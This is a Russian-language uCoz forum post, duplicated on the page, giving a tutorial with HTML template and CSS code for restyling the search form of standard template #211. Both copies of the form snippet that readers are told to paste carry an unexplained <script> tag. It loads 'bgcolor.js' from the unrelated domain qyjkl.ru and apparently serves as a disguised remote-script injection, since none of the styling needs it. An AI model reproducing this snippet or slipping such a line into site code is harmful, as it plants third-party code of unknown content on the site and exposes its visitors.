... Форум [Всё обо Всём!]
Последние сообщения: Самые отвечаемые темы: Последние обновлённые темы:
Battlefield 3 vs...
Новый Топ пользо...
Что же означает ...
Заказ игр на MAC...
Заказ игр на моб...
Флудилка! 155
Какое у Вас сейч... 28
Что смотрите в д... 18
Юмор (цитаты) 15
Юмор (картинки) 13
Тема: Дата,Время: Автор: Раздел:
Battlefield 3 v... 29/Май/2018, 13:55:48 ZION Перейти
Новый Топ польз... 29/Май/2018, 13:55:27 ZION Перейти
Что же означает... 29/Май/2018, 13:48:11 ZION Перейти
Заказ игр на MA... 29/Май/2018, 13:47:49 ZION Перейти
Заказ игр на мо... 29/Май/2018, 13:47:15 ZION Перейти
Простой и краси... 17/Янв/2013, 20:56:35 BotsMan Перейти
Красивый информ... 17/Янв/2013, 20:56:19 BotsMan Перейти
Flash радио для... 17/Янв/2013, 20:56:05 BotsMan Перейти
XGame-Online 11/Ноя/2012, 02:40:57 LittleMinx Перейти
Скрипт друзья с... 22/Сен/2012, 12:37:34 BotsMan Перейти
Активные на Форуме: Новые пользователи:
DANTe 337
Ane4ka_bob 130
Lappardie_Lio 30
BotsMan 21
UMTS 5
ZION 5
bioware73 1
LittleMinx 1
7939355 10/Апр/2020
BARABANTIMUR 31/Авг/2019
troyan2525 05/Фев/2019
ZION 29/Май/2018
cityloveznakomstva 16/Фев/2018
oleg123 10/Окт/2016
davEJones2k 12/Сен/2016
ТОРНАДО 11/Май/2016
  • Страница 1 из 1
  • 1
Форум » - ИНТЕРНЕТ » uCoz » Дизайн формы поиска для стандартных шаблонов системы uCoz (для стандартных шаблонов и не только)
Дизайн формы поиска для стандартных шаблонов системы uCoz
BotsManДата: Вторник, 17/Июл/2012, 13:13:44 | Сообщение # 1
Группа: Пользователи
Ранг: (Новичок)
Сообщений: 21
Репутация: 1
Награды: 0
Статус: ( )
Для опытов мы возьмём стандартный шаблон системы #211, форма поиска на главной странице находится в первом контейнере слева.

Смотрим скрин скрипта: http://i009.radikal.ru/1207/ba/53590c35e001.jpg

Делается это очень просто: открываем шаблон, в котором находится блок с формой поиска (в данном шаблоне системы это шаблон "Первый контейнер"), вот что мы нашли:

Code

<!-- <block6> -->
<?if($SEARCH_FORM$)?>
<table border="0" cellpadding="0" cellspacing="0" width="200">
<tr>
<td width="170" bgcolor="#318EB7" background="/.s/t/211/5.gif" class="blockT1"><span class="blockTitle"><!-- <bt> --><!--<s5171>-->Поиск<!--</s>--><!-- </bt> --></span></td>
<td width="30" bgcolor="#318EB7" background="/.s/t/211/5.gif" align="right"><img border="0" src="/.s/t/211/6.gif" width="30" height="29"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#C3E1EF" background="/.s/t/211/7.gif" class="blockT2">
<div align="center"><div align="center"><!-- <bc> -->$SEARCH_FORM$
<!-- </bc> --></div></div>
</td>
</tr>
<tr>
<td colspan="2"><img border="0" src="/.s/t/211/8.gif" width="200" height="5"></td>
</tr>
</table><br>
<?endif?>
<!-- </block6> -->


заменяем системный код

Code
$SEARCH_FORM$


на нашу форму поиска

Code
<?if($USER_AGENT$='ie')?>$SEARCH_FORM$<?else?>
<form class="searchform" onsubmit="this.sfSbm.disabled=true" method="get" style="margin:0" action="/search/">
<script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script>
<input class="searchfield" value="Поиск..." type="text" name="q" maxlength="30" size="20" onfocus="if (this.value == 'Поиск...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Поиск...';}" />
<input class="searchbutton" type="submit" name="sfSbm" value="Go" />
</form><?endif?>


Сохраняем изменения и переходим в редактирование шаблона "Таблица стилей (CSS)". Добавляем стили для нашей новой формы поиска:

Code
/* Форма поиска   
-------------------------------------- */
.searchform {
   display: inline-block;
   zoom: 1; /* ie7 hack for display:inline-block */
   *display: inline;
   border: solid 1px #6699ff;
   padding: 3px 6px;
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   -webkit-box-shadow: 0 1px 0px rgba(0,0,0,.1);
   -moz-box-shadow: 0 1px 0px rgba(0,0,0,.1);
   box-shadow: 0 1px 0px rgba(0,0,0,.1);
   background: #f1f1f1;
   background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#ededed));
   background: -moz-linear-gradient(top, #fff, #ededed);
   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie7 */
   -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie8 */
}
.searchform input {
   font: normal 12px/100% Arial, Helvetica, sans-serif;color:#666;
}
.searchform .searchfield {
   background: #fff;
   padding: 6px 6px 6px 8px;
   width: 145px;
   border: solid 1px #6699ff;
   outline: none;
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
   box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
}
.searchform .searchbutton {
   color: #fff;
   border: solid 1px #336699;
   font-size: 10px;
   height: 25px;
   width: 25px;
   text-shadow: 0 1px 1px rgba(0,0,0,.6);
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   background: #6699cc;
   background: -webkit-gradient(linear, left top, left bottom, from(#9e9e9e), to(#454545));
   background: -moz-linear-gradient(top, #9e9e9e, #454545);
   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie7 */
   -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie8 */
}






СообщениеДля опытов мы возьмём стандартный шаблон системы #211, форма поиска на главной странице находится в первом контейнере слева.

Смотрим скрин скрипта: http://i009.radikal.ru/1207/ba/53590c35e001.jpg

Делается это очень просто: открываем шаблон, в котором находится блок с формой поиска (в данном шаблоне системы это шаблон "Первый контейнер"), вот что мы нашли:

Code

<!-- <block6> -->
<?if($SEARCH_FORM$)?>
<table border="0" cellpadding="0" cellspacing="0" width="200">
<tr>
<td width="170" bgcolor="#318EB7" background="/.s/t/211/5.gif" class="blockT1"><span class="blockTitle"><!-- <bt> --><!--<s5171>-->Поиск<!--</s>--><!-- </bt> --></span></td>
<td width="30" bgcolor="#318EB7" background="/.s/t/211/5.gif" align="right"><img border="0" src="/.s/t/211/6.gif" width="30" height="29"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#C3E1EF" background="/.s/t/211/7.gif" class="blockT2">
<div align="center"><div align="center"><!-- <bc> -->$SEARCH_FORM$
<!-- </bc> --></div></div>
</td>
</tr>
<tr>
<td colspan="2"><img border="0" src="/.s/t/211/8.gif" width="200" height="5"></td>
</tr>
</table><br>
<?endif?>
<!-- </block6> -->


заменяем системный код

Code
$SEARCH_FORM$


на нашу форму поиска

Code
<?if($USER_AGENT$='ie')?>$SEARCH_FORM$<?else?>
<form class="searchform" onsubmit="this.sfSbm.disabled=true" method="get" style="margin:0" action="/search/">
<script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script>
<input class="searchfield" value="Поиск..." type="text" name="q" maxlength="30" size="20" onfocus="if (this.value == 'Поиск...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Поиск...';}" />
<input class="searchbutton" type="submit" name="sfSbm" value="Go" />
</form><?endif?>


Сохраняем изменения и переходим в редактирование шаблона "Таблица стилей (CSS)". Добавляем стили для нашей новой формы поиска:

Code
/* Форма поиска   
-------------------------------------- */
.searchform {
   display: inline-block;
   zoom: 1; /* ie7 hack for display:inline-block */
   *display: inline;
   border: solid 1px #6699ff;
   padding: 3px 6px;
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   -webkit-box-shadow: 0 1px 0px rgba(0,0,0,.1);
   -moz-box-shadow: 0 1px 0px rgba(0,0,0,.1);
   box-shadow: 0 1px 0px rgba(0,0,0,.1);
   background: #f1f1f1;
   background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#ededed));
   background: -moz-linear-gradient(top, #fff, #ededed);
   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie7 */
   -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie8 */
}
.searchform input {
   font: normal 12px/100% Arial, Helvetica, sans-serif;color:#666;
}
.searchform .searchfield {
   background: #fff;
   padding: 6px 6px 6px 8px;
   width: 145px;
   border: solid 1px #6699ff;
   outline: none;
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
   -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
   box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
}
.searchform .searchbutton {
   color: #fff;
   border: solid 1px #336699;
   font-size: 10px;
   height: 25px;
   width: 25px;
   text-shadow: 0 1px 1px rgba(0,0,0,.6);
   -webkit-border-radius: 2em;
   -moz-border-radius: 2em;
   border-radius: 2em;
   background: #6699cc;
   background: -webkit-gradient(linear, left top, left bottom, from(#9e9e9e), to(#454545));
   background: -moz-linear-gradient(top, #9e9e9e, #454545);
   filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie7 */
   -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie8 */
}

Автор - BotsMan
Дата добавления - 17/Июл/2012 в 13:13:44
Форум » - ИНТЕРНЕТ » uCoz » Дизайн формы поиска для стандартных шаблонов системы uCoz (для стандартных шаблонов и не только)
  • Страница 1 из 1
  • 1
Поиск:



Загрузка...